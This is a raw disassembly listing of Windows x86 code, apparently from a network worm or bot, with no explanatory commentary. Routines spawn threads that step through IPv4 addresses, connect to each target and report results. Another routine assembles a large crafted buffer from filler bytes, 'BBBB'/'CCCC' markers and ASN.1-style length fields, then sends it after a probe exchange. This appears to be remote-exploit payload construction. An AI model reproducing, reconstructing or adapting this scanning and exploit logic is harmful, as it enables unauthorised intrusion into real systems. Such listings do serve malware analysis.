mov eax, [ebp+var_2C]
mov esi, dword_4E033C
mov edi, ebx
mov dword_4D67BC[eax*8], ebx
xor ebx, ebx
cmp [ebp+var_20], 1
jb loc_40ABF3
loc_40AB4F: ; CODE XREF: sub_40AA63+18Aj
push edi
lea eax, [ebp+var_14C]
push [ebp+var_2C]
mov [ebp+var_24], edi
push [ebp+var_38]
push eax
lea eax, [ebp+var_1CC]
push offset unk_43F7C0
push eax
call sub_417CB0
push ebx
lea eax, [ebp+var_1CC]
push 0Bh
push eax
call sub_409663
mov [ebp+var_28], eax
imul eax, 234h
mov ecx, [ebp+var_2C]
add esp, 24h
mov dword_4495A4[eax], ecx
lea eax, [ebp+var_14C]
push ebx
push ebx
push eax
push offset sub_40A84F
push ebx
push ebx
call dword_4E0340 ; CreateThread
mov ecx, [ebp+var_28]
imul ecx, 234h
cmp eax, ebx
mov dword_4495B4[ecx], eax
jnz short loc_40AC0A
call dword_4E0350 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_1CC]
push offset unk_43F7F4
push eax
call sub_417CB0
lea eax, [ebp+var_1CC]
push eax
call sub_40F927
add esp, 10h
loc_40ABE5: ; CODE XREF: sub_40AA63+1ACj
push 1Eh
call esi ; Sleep
inc edi
cmp edi, [ebp+var_20]
jbe loc_40AB4F
loc_40ABF3: ; CODE XREF: sub_40AA63+E6j
cmp [ebp+var_30], ebx
jz short loc_40AC18
mov eax, [ebp+var_30]
imul eax, 0EA60h
push eax
call esi ; Sleep
jmp short loc_40AC25
; ---------------------------------------------------------------------------
loc_40AC06: ; CODE XREF: sub_40AA63+1AAj
push 1Eh
call esi ; Sleep
loc_40AC0A: ; CODE XREF: sub_40AA63+159j
cmp [ebp+var_4], ebx
jz short loc_40AC06
jmp short loc_40ABE5
; ---------------------------------------------------------------------------
loc_40AC11: ; CODE XREF: sub_40AA63+1C0j
push 7D0h
call esi ; Sleep
loc_40AC18: ; CODE XREF: sub_40AA63+193j
mov eax, [ebp+var_2C]
cmp dword_4D67BC[eax*8], 1
jz short loc_40AC11
loc_40AC25: ; CODE XREF: sub_40AA63+1A1j
push [ebp+var_30]
mov eax, [ebp+var_2C]
push [ebp+var_38]
mov eax, dword_4D67B8[eax*8]
push eax
call dword_4D66F4 ; inet_ntoa
push eax
lea eax, [ebp+var_1CC]
push offset unk_43F82C
push eax
call sub_417CB0
add esp, 14h
cmp [ebp+var_10], ebx
jnz short loc_40AC73
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_40764A
add esp, 14h
loc_40AC73: ; CODE XREF: sub_40AA63+1F1j
lea eax, [ebp+var_1CC]
push eax
call sub_40F927
mov eax, [ebp+var_2C]
mov [esp+20Ch+var_20C], 0BB8h
mov dword_4D67BC[eax*8], ebx
call esi ; Sleep
push 0Bh
call sub_4098A5
cmp eax, 1
pop ecx
jnz short loc_40ACAA
push offset dword_4D87B8
call dword_4E03B0 ; RtlDeleteCriticalSection
loc_40ACAA: ; CODE XREF: sub_40AA63+23Aj
push [ebp+var_2C]
call sub_409979
pop ecx
push ebx
call dword_4E03A0 ; ExitThread
sub_40AA63 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40ACBA proc near ; DATA XREF: sub_40AD87+7Bo
; sub_40AE78+7Bo
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0BCh
mov eax, [ebp+arg_0]
push esi
push edi
push 2Bh
pop ecx
mov esi, eax
lea edi, [ebp+var_BC]
push 10h
rep movsd
xor esi, esi
push 0
inc esi
mov [eax+0A8h], esi
lea eax, [ebp+var_10]
push eax
call sub_417700
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_38]
call dword_4D6668 ; ntohs
mov [ebp+var_E], ax
mov eax, [ebp+var_28]
push 6
push esi
push 2
mov [ebp+var_C], eax
call dword_4D66E8 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40AD78
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_4D6610 ; connect
mov ecx, [ebp+var_2C]
imul ecx, 234h
cmp eax, 0FFFFFFFFh
mov dword_4495AC[ecx], esi
jz short loc_40AD78
push [ebp+var_38]
push [ebp+var_28]
call dword_4D66F4 ; inet_ntoa
push eax
mov edi, offset dword_4D9178
push offset unk_43F86C
push edi
call sub_417CB0
push 0
lea eax, [ebp+var_B8]
push [ebp+var_20]
push edi
push eax
push [ebp+var_BC]
call sub_40764A
push edi
call sub_40F927
add esp, 28h
loc_40AD78: ; CODE XREF: sub_40ACBA+5Dj
; sub_40ACBA+7Ej
push esi
call dword_4D6700 ; closesocket
pop edi
xor eax, eax
pop esi
leave
retn 4
sub_40ACBA endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_40AD87 proc near ; DATA XREF: sub_401C87+4C87o
var_134 = byte ptr -134h
var_B4 = byte ptr -0B4h
var_30 = dword ptr -30h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 134h
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push 2Bh
mov esi, ebx
pop ecx
lea edi, [ebp+var_B4]
rep movsd
mov esi, dword_4E033C
mov dword ptr [ebx+0A4h], 1
xor edi, edi
loc_40ADB5: ; CODE XREF: sub_40AD87+ECj
push [ebp+var_30]
push [ebp+var_20]
call dword_4D66F4 ; inet_ntoa
push eax
lea eax, [ebp+var_134]
push offset unk_43F894
push eax
call sub_417CB0
lea eax, [ebp+var_134]
push 1FFh
push eax
mov eax, [ebp+var_24]
imul eax, 234h
add eax, offset dword_4493A0
push eax
call sub_417760
add esp, 1Ch
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_B4]
push edi
push eax
push offset sub_40ACBA
push edi
push edi
call dword_4E0340 ; CreateThread
cmp eax, edi
mov [ebp+var_4], eax
jz short loc_40AE21
jmp short loc_40AE1C
; ---------------------------------------------------------------------------
loc_40AE18: ; CODE XREF: sub_40AD87+98j
push 32h
call esi ; Sleep
loc_40AE1C: ; CODE XREF: sub_40AD87+8Fj
cmp [ebp+var_C], edi
jz short loc_40AE18
loc_40AE21: ; CODE XREF: sub_40AD87+8Dj
push [ebp+var_4]
call dword_4E032C ; CloseHandle
push dword ptr [ebx+8Ch]
mov [ebx+0A8h], edi
call esi ; Sleep
lea eax, [ebp+var_20]
push 4
push eax
lea eax, [ebp+arg_0]
push eax
call sub_419330
add esp, 0Ch
push [ebp+arg_0]
call dword_4D6590 ; ntohl
inc eax
push eax
mov [ebp+arg_0], eax
call dword_4D6664 ; ntohl
mov [ebp+arg_0], eax
lea eax, [ebp+arg_0]
push 4
push eax
lea eax, [ebp+var_20]
push eax
call sub_419330
add esp, 0Ch
jmp loc_40ADB5
sub_40AD87 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AE78 proc near ; DATA XREF: sub_401C87+49A2o
var_130 = byte ptr -130h
var_B0 = dword ptr -0B0h
var_AC = byte ptr -0ACh
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 130h
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push 2Bh
mov esi, ebx
pop ecx
lea edi, [ebp+var_B0]
rep movsd
mov esi, dword_4E033C
mov dword ptr [ebx+0A4h], 1
xor edi, edi
loc_40AEA6: ; CODE XREF: sub_40AE78+BCj
push [ebp+var_2C]
push [ebp+var_1C]
call dword_4D66F4 ; inet_ntoa
push eax
lea eax, [ebp+var_130]
push offset unk_43F8BC
push eax
call sub_417CB0
lea eax, [ebp+var_130]
push 1FFh
push eax
mov eax, [ebp+var_20]
imul eax, 234h
add eax, offset dword_4493A0
push eax
call sub_417760
add esp, 1Ch
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_B0]
push edi
push eax
push offset sub_40ACBA
push edi
push edi
call dword_4E0340 ; CreateThread
cmp eax, edi
mov [ebp+arg_0], eax
jz short loc_40AF12
jmp short loc_40AF0D
; ---------------------------------------------------------------------------
loc_40AF09: ; CODE XREF: sub_40AE78+98j
push 32h
call esi ; Sleep
loc_40AF0D: ; CODE XREF: sub_40AE78+8Fj
cmp [ebp+var_8], edi
jz short loc_40AF09
loc_40AF12: ; CODE XREF: sub_40AE78+8Dj
push [ebp+arg_0]
call dword_4E032C ; CloseHandle
push dword ptr [ebx+8Ch]
mov [ebx+0A8h], edi
call esi ; Sleep
mov eax, [ebp+var_2C]
cmp eax, [ebp+var_28]
jz short loc_40AF39
inc [ebp+var_2C]
jmp loc_40AEA6
; ---------------------------------------------------------------------------
loc_40AF39: ; CODE XREF: sub_40AE78+B7j
push [ebp+var_1C]
call dword_4D66F4 ; inet_ntoa
push eax
lea eax, [ebp+var_130]
push offset unk_43F8E8
push eax
call sub_417CB0
push edi
lea eax, [ebp+var_130]
push [ebp+var_14]
push eax
lea eax, [ebp+var_AC]
push eax
push [ebp+var_B0]
call sub_40764A
push [ebp+var_20]
call sub_409979
add esp, 24h
xor eax, eax
pop edi
pop esi
pop ebx
leave
retn 4
sub_40AE78 endp
; =============== S U B R O U T I N E =======================================
sub_40AF85 proc near ; CODE XREF: sub_40B21F+Ep
; sub_40B21F+33p ...
mov eax, ecx
and dword ptr [eax+4], 0
and dword ptr [eax], 0
retn
sub_40AF85 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push dword ptr [ebp+8]
call sub_414EC0
pop ecx
push eax
lea ecx, [ebp-8]
push dword ptr [ebp+8]
call sub_40AFBD
mov ecx, [eax]
mov [esi], ecx
mov eax, [eax+4]
mov [esi+4], eax
mov eax, esi
pop esi
leave
retn 4
; =============== S U B R O U T I N E =======================================
sub_40AFBD proc near ; CODE XREF: .data:0040AFA7p
; sub_40B21F+11Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push esi
push edi
push ebx
mov esi, ecx
call sub_415090
mov edi, eax
pop ecx
test edi, edi
jz short loc_40AFEF
push ebx
push 0
push edi
call sub_417700
push ebx
push [esp+1Ch+arg_0]
push edi
call sub_419330
add esp, 18h
mov [esi+4], ebx
mov [esi], edi
loc_40AFEF: ; CODE XREF: sub_40AFBD+14j
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40AFBD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AFF7 proc near ; CODE XREF: sub_40B0E9+18p
; sub_40B163+16p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, ecx
mov ecx, [ebp+arg_C]
push esi
push edi
lea edi, [eax+ecx]
push edi
call sub_415090
mov esi, eax
pop ecx
test esi, esi
jz short loc_40B043
push edi
push 0
push esi
call sub_417700
push [ebp+arg_4]
push [ebp+arg_0]
push esi
call sub_419330
push [ebp+arg_C]
mov eax, [ebp+arg_4]
add eax, esi
push [ebp+arg_8]
push eax
call sub_419330
add esp, 24h
mov [ebx+4], edi
mov [ebx], esi
loc_40B043: ; CODE XREF: sub_40AFF7+1Cj
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn 10h
sub_40AFF7 endp
; =============== S U B R O U T I N E =======================================
sub_40B04C proc near ; CODE XREF: sub_40B0E9+5Ep
; sub_40B0E9+6Fp ...
push esi
mov esi, ecx
mov eax, [esi]
test eax, eax
jz short loc_40B05C
push eax
call sub_415C20
pop ecx
loc_40B05C: ; CODE XREF: sub_40B04C+7j
and dword ptr [esi+4], 0
and dword ptr [esi], 0
pop esi
retn
sub_40B04C endp
; =============== S U B R O U T I N E =======================================
sub_40B065 proc near ; CODE XREF: sub_40B0E9+20p
; sub_40B1C4+8p ...
push ebx
push esi
mov esi, ecx
push edi
mov eax, [esi+4]
cmp eax, 0FFFFh
jge short loc_40B08F
xor ebx, ebx
cmp eax, 7Fh
setnl bl
lea ebx, [ebx+ebx+1]
add eax, ebx
push eax
call sub_415090
mov edi, eax
pop ecx
test edi, edi
jnz short loc_40B093
loc_40B08F: ; CODE XREF: sub_40B065+Dj
xor al, al
jmp short loc_40B0E5
; ---------------------------------------------------------------------------
loc_40B093: ; CODE XREF: sub_40B065+28j
mov eax, [esi+4]
add eax, ebx
push eax
push 0
push edi
call sub_417700
add esp, 0Ch
cmp ebx, 1
jnz short loc_40B0B3
mov al, [esi+4]
mov [edi], al
lea eax, [edi+1]
jmp short loc_40B0C8
; ---------------------------------------------------------------------------
loc_40B0B3: ; CODE XREF: sub_40B065+42j
mov byte ptr [edi], 82h
mov eax, [esi+4]
sar eax, 8
mov [edi+1], al
mov al, [esi+4]
mov [edi+2], al
lea eax, [edi+3]
loc_40B0C8: ; CODE XREF: sub_40B065+4Cj
push dword ptr [esi+4]
push dword ptr [esi]
push eax
call sub_419330
add esp, 0Ch
push dword ptr [esi]
call sub_415C20
add [esi+4], ebx
pop ecx
mov [esi], edi
mov al, 1
loc_40B0E5: ; CODE XREF: sub_40B065+2Cj
pop edi
pop esi
pop ebx
retn
sub_40B065 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B0E9 proc near ; CODE XREF: sub_40B21F+89p
; sub_40B21F+E3p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push edi
lea ecx, [ebp+var_8]
push dword ptr [esi+4]
push dword ptr [esi]
push 1
push offset byte_4D9380
call sub_40AFF7
lea ecx, [ebp+var_8]
call sub_40B065
mov eax, [ebp+var_4]
inc eax
push eax
call sub_415090
mov edi, eax
pop ecx
test edi, edi
jnz short loc_40B123
xor al, al
jmp short loc_40B15F
; ---------------------------------------------------------------------------
loc_40B123: ; CODE XREF: sub_40B0E9+34j
mov eax, [ebp+var_4]
inc eax
push eax
push 0
push edi
call sub_417700
mov byte ptr [edi], 3
push [ebp+var_4]
lea eax, [edi+1]
push [ebp+var_8]
push eax
call sub_419330
add esp, 18h
mov ecx, esi
call sub_40B04C
mov eax, [ebp+var_4]
lea ecx, [ebp+var_8]
inc eax
mov [esi], edi
mov [esi+4], eax
call sub_40B04C
mov al, 1
loc_40B15F: ; CODE XREF: sub_40B0E9+38j
pop edi
pop esi
leave
retn
sub_40B0E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B163 proc near ; CODE XREF: sub_40B197+14p
; sub_40B1B4+8p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push [ebp+arg_4]
lea ecx, [ebp+var_8]
push [ebp+arg_0]
push dword ptr [esi+4]
push dword ptr [esi]
call sub_40AFF7
mov ecx, esi
call sub_40B04C
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
pop esi
leave
retn 8
sub_40B163 endp
; =============== S U B R O U T I N E =======================================
sub_40B197 proc near ; CODE XREF: sub_40B21F+F0p
; sub_40B21F+15Bp ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_414EC0
pop ecx
push eax
mov ecx, esi
push [esp+8+arg_0]
call sub_40B163
pop esi
retn 4
sub_40B197 endp
; =============== S U B R O U T I N E =======================================
sub_40B1B4 proc near ; CODE XREF: sub_40B200+Bp
; sub_40B21F+1A1p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_40B163
retn 8
sub_40B1B4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B1C4 proc near ; CODE XREF: sub_40B200+16p
; sub_40B21F+91p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
call sub_40B065
test al, al
jz short loc_40B1FD
push dword ptr [esi+4]
lea ecx, [ebp+var_8]
push dword ptr [esi]
push 1
push (offset loc_43FC8F+1)
call sub_40AFF7
mov ecx, esi
call sub_40B04C
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
loc_40B1FD: ; CODE XREF: sub_40B1C4+Fj
pop esi
leave
retn
sub_40B1C4 endp
; =============== S U B R O U T I N E =======================================
sub_40B200 proc near ; CODE XREF: sub_40B21F+134p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_40B1B4
test al, al
jz short loc_40B21B
mov ecx, esi
call sub_40B1C4
loc_40B21B: ; CODE XREF: sub_40B200+12j
pop esi
retn 8
sub_40B200 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B21F proc near ; CODE XREF: .data:0040BA73p
var_858 = byte ptr -858h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 858h
push ebx
push edi
lea ecx, [ebp+var_48]
call sub_40AF85
mov edi, 408h
cmp [ebp+arg_8], edi
jg loc_40B563
mov ebx, [ebp+arg_10]
lea eax, [ebx+8]
cmp eax, edi
ja loc_40B563
push esi
lea ecx, [ebp+var_30]
call sub_40AF85
lea ecx, [ebp+var_20]
call sub_40AF85
lea ecx, [ebp+var_50]
call sub_40AF85
lea ecx, [ebp+var_18]
call sub_40AF85
lea ecx, [ebp+var_40]
call sub_40AF85
lea ecx, [ebp+var_38]
call sub_40AF85
lea ecx, [ebp+var_28]
call sub_40AF85
push 4
push offset dword_43F924
lea ecx, [ebp+var_30]
call sub_40B163
push 3
push offset dword_43F92C
lea ecx, [ebp+var_30]
call sub_40B163
lea ecx, [ebp+var_30]
call sub_40B0E9
lea ecx, [ebp+var_30]
call sub_40B1C4
mov esi, 800h
lea eax, [ebp+var_858]
push esi
push 42h
push eax
call sub_417700
add esp, 0Ch
lea ecx, [ebp+var_20]
push 8
push offset aRbrbrbrb ; "BBBB"
call sub_40B163
push ebx
lea ecx, [ebp+var_20]
push [ebp+arg_C]
call sub_40B163
mov eax, 409h
lea ecx, [ebp+var_20]
sub eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_858]
push eax
call sub_40B163
lea ecx, [ebp+var_20]
call sub_40B0E9
push offset loc_43FC94
lea ecx, [ebp+var_50]
call sub_40B197
lea ecx, [ebp+var_50]
call sub_40B0E9
push esi
lea eax, [ebp+var_858]
push 44h
push eax
call sub_417700
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_58]
push 410h
push eax
call sub_40AFBD
lea ecx, [ebp+var_58]
call sub_40B0E9
push [ebp+var_54]
lea ecx, [ebp+var_50]
push [ebp+var_58]
call sub_40B200
lea ecx, [ebp+var_58]
call sub_40B04C
push esi
lea eax, [ebp+var_858]
push 43h
push eax
call sub_417700
add esp, 0Ch
push offset aCccc ; "CCCC"
lea ecx, [ebp+var_18]
call sub_40B197
push 4
push offset dword_43F930
lea ecx, [ebp+var_18]
call sub_40B163
push [ebp+arg_8]
lea ecx, [ebp+var_18]
push [ebp+arg_4]
call sub_40B163
sub edi, [ebp+arg_8]
lea eax, [ebp+var_858]
lea ecx, [ebp+var_18]
push edi
push eax
call sub_40B163
lea ecx, [ebp+var_18]
call sub_40B0E9
push [ebp+var_14]
lea ecx, [ebp+var_40]
push [ebp+var_18]
call sub_40B1B4
push [ebp+var_4C]
lea ecx, [ebp+var_40]
push [ebp+var_50]
call sub_40B1B4
lea ecx, [ebp+var_40]
call sub_40B1C4
lea ecx, [ebp+var_18]
call sub_40B04C
lea ecx, [ebp+var_50]
call sub_40B04C
push [ebp+var_1C]
lea ecx, [ebp+var_38]
push [ebp+var_20]
call sub_40B1B4
push [ebp+var_2C]
lea ecx, [ebp+var_38]
push [ebp+var_30]
call sub_40B1B4
push [ebp+var_3C]
lea ecx, [ebp+var_38]
push [ebp+var_40]
call sub_40B1B4
lea ecx, [ebp+var_38]
call sub_40B1C4
lea ecx, [ebp+var_20]
call sub_40B04C
lea ecx, [ebp+var_30]
call sub_40B04C
lea ecx, [ebp+var_40]
call sub_40B04C
push esi
lea eax, [ebp+var_858]
push 41h
push eax
call sub_417700
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_28]
push 400h
push eax
call sub_40B163
lea ecx, [ebp+var_28]
call sub_40B0E9
push 2
push offset dword_43FCA8
lea ecx, [ebp+var_28]
call sub_40B163
push [ebp+var_34]
lea ecx, [ebp+var_28]
push [ebp+var_38]
call sub_40B1B4
lea ecx, [ebp+var_28]
call sub_40B1C4
lea ecx, [ebp+var_38]
call sub_40B04C
lea ecx, [ebp+var_10]
call sub_40AF85
lea ecx, [ebp+var_8]
call sub_40AF85
push [ebp+var_24]
lea ecx, [ebp+var_10]
push [ebp+var_28]
call sub_40B1B4
lea ecx, [ebp+var_10]
call sub_40B065
lea ecx, [ebp+var_28]
call sub_40B04C
push offset byte_43FCAC
lea ecx, [ebp+var_8]
call sub_40B197
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_40B1B4
lea ecx, [ebp+var_8]
call sub_40B065
lea ecx, [ebp+var_10]
call sub_40B04C
push offset word_43FCAE
lea ecx, [ebp+var_10]
call sub_40B197
push [ebp+var_4]
lea ecx, [ebp+var_10]
push [ebp+var_8]
call sub_40B1B4
lea ecx, [ebp+var_10]
call sub_40B065
lea ecx, [ebp+var_8]
call sub_40B04C
push offset dword_43FCB0
lea ecx, [ebp+var_8]
call sub_40B197
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_40B1B4
lea ecx, [ebp+var_8]
call sub_40B065
lea ecx, [ebp+var_10]
call sub_40B04C
push (offset aA_1+2)
lea ecx, [ebp+var_48]
call sub_40B197
push [ebp+var_4]
lea ecx, [ebp+var_48]
push [ebp+var_8]
call sub_40B1B4
lea ecx, [ebp+var_8]
call sub_40B04C
pop esi
loc_40B563: ; CODE XREF: sub_40B21F+1Bj
; sub_40B21F+29j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
pop edi
pop ebx
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
leave
retn
sub_40B21F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B575 proc near ; CODE XREF: sub_40B639+A2p
; sub_40B639+C7p ...
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push esi
mov esi, [ebp+arg_0]
lea eax, [ebp+var_8]
push edi
push eax
lea eax, [ebp+var_210]
and [ebp+var_4], 0
push eax
lea eax, [ebp+var_10C]
push 0
xor edi, edi
push eax
lea eax, [esi+1]
inc edi
push eax
mov [ebp+var_108], esi
mov [ebp+var_10C], edi
mov [ebp+var_20C], esi
mov [ebp+var_210], edi
mov [ebp+var_8], 0Ah
call dword_4E0524 ; select
cmp eax, edi
jnz short loc_40B5DC
lea eax, [ebp+var_10C]
push eax
push esi
call sub_433746 ; __WSAFDIsSet
test eax, eax
jnz short loc_40B5E0
loc_40B5DC: ; CODE XREF: sub_40B575+54j
xor eax, eax
jmp short loc_40B5F0
; ---------------------------------------------------------------------------
loc_40B5E0: ; CODE XREF: sub_40B575+65j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call dword_4D6680 ; recv
loc_40B5F0: ; CODE XREF: sub_40B575+69j
pop edi
pop esi
leave
retn
sub_40B575 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B5F4 proc near ; CODE XREF: sub_40B639+80p
; sub_40B639+AEp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_8]
call dword_4D6664 ; ntohl
mov [ebp+var_4], eax
push 0
lea eax, [ebp+var_4]
push 4
push eax
push [ebp+arg_0]
call dword_4D66B8 ; send
cmp eax, 4
jz short loc_40B61E
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_40B61E: ; CODE XREF: sub_40B5F4+24j
push 0
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_4D66B8 ; send
sub eax, [ebp+arg_8]
neg eax
sbb eax, eax
inc eax
leave
retn
sub_40B5F4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B639 proc near ; CODE XREF: sub_40B718+48p
; .data:0040BB46p
var_104 = byte ptr -104h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 104h
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea ebx, [edi+41h]
push ebx
mov [ebp+var_4], ebx
call sub_415090
mov esi, eax
pop ecx
test esi, esi
jnz short loc_40B662
xor al, al
jmp loc_40B713
; ---------------------------------------------------------------------------
loc_40B662: ; CODE XREF: sub_40B639+20j
push ebx
push 0
push esi
call sub_417700
push 2Fh
push offset dword_43F9C0
push esi
call sub_419330
push 8
lea eax, [esi+31h]
push offset dword_43F9F0
push eax
mov [esi+2Fh], di
call sub_419330
push edi
lea ebx, [esi+3Bh]
push [ebp+arg_4]
mov [esi+39h], di
push ebx
call sub_419330
push 6
add ebx, edi
push offset dword_4D9378
push ebx
call sub_419330
push 85h
push offset dword_43F938
push [ebp+arg_0]
call sub_40B5F4
add esp, 48h
test al, al
jnz short loc_40B6C9
loc_40B6C5: ; CODE XREF: sub_40B639+B8j
xor bl, bl
jmp short loc_40B70A
; ---------------------------------------------------------------------------
loc_40B6C9: ; CODE XREF: sub_40B639+8Aj
mov edi, 100h
push 0
lea eax, [ebp+var_104]
push edi
push eax
push [ebp+arg_0]
call sub_40B575
push [ebp+var_4]
push esi
push [ebp+arg_0]
call sub_40B5F4
add esp, 1Ch
test al, al
jz short loc_40B6C5
push 0
lea eax, [ebp+var_104]
push edi
push eax
push [ebp+arg_0]
call sub_40B575
add esp, 10h
mov bl, 1
loc_40B70A: ; CODE XREF: sub_40B639+8Ej
push esi
call sub_415C20
pop ecx
mov al, bl
loc_40B713: ; CODE XREF: sub_40B639+24j
pop edi
pop esi
pop ebx
leave
retn
sub_40B639 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B718 proc near ; CODE XREF: .data:0040BB2Cp
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push 0
push 48h
push offset unk_43FA00
push [ebp+arg_0]
call dword_4E0520 ; send
cmp eax, 48h
jnz short loc_40B753
push 0
lea eax, [ebp+var_20]
push 20h
push eax
push [ebp+arg_0]
call sub_40B575
add esp, 10h
cmp eax, 0FFFFFFFFh
jz short loc_40B753
cmp [ebp+var_20], 82h
jz short loc_40B757
loc_40B753: ; CODE XREF: sub_40B718+1Bj
; sub_40B718+33j
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_40B757: ; CODE XREF: sub_40B718+39j
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40B639
add esp, 0Ch
leave
retn
sub_40B718 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B76A proc near ; CODE XREF: sub_40B7B6+29p
var_10 = qword ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_0]
and dword ptr [ebp+var_8+4], 0
shl eax, 3
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
fmul dbl_434468
call sub_41991C
and dword ptr [ebp+var_8+4], 0
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
push ecx
push ecx ; double
fst [ebp+var_8]
fmul dbl_434460
fstp [esp+10h+var_10]
call sub_419730
fadd st, st
pop ecx
pop ecx
fadd [ebp+var_8]
call sub_41991C
inc eax
leave
retn
sub_40B76A endp
; =============== S U B R O U T I N E =======================================
